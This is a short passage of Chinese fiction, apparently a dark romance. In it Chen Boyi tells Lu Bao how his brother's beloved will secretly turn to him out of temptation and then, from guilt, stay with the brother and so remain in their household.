“明明陈仲尔对她那么好,明明她心里认定喜欢的人是陈仲尔,但却还是经不住诱惑地、贪婪地用了陈仲尔的哥哥。她怎么敢让陈仲尔知道?
“她只会战战兢兢地,边躲着陈仲尔,边来用我满足她。每一天、每一次,都生怕被陈仲尔发现。
“仓皇失措,可能还会哭。会像那天编着小花珠串讲她的小兔子一样,哭得很可爱。
“然后,她就会觉得很对不起陈仲尔,会更加死心塌地地待在陈仲尔的身边,加倍地对他好,让他开心。”
“那你呢?”
卢宝脱口而出。
“我?”
陈伯懿像是不明白他为什么会有这个疑问。
他理固当然地说:
“她留在陈仲尔的身边,自然也就留在了我的身边。她会一直在我们的家里。一直跟我们在一起。”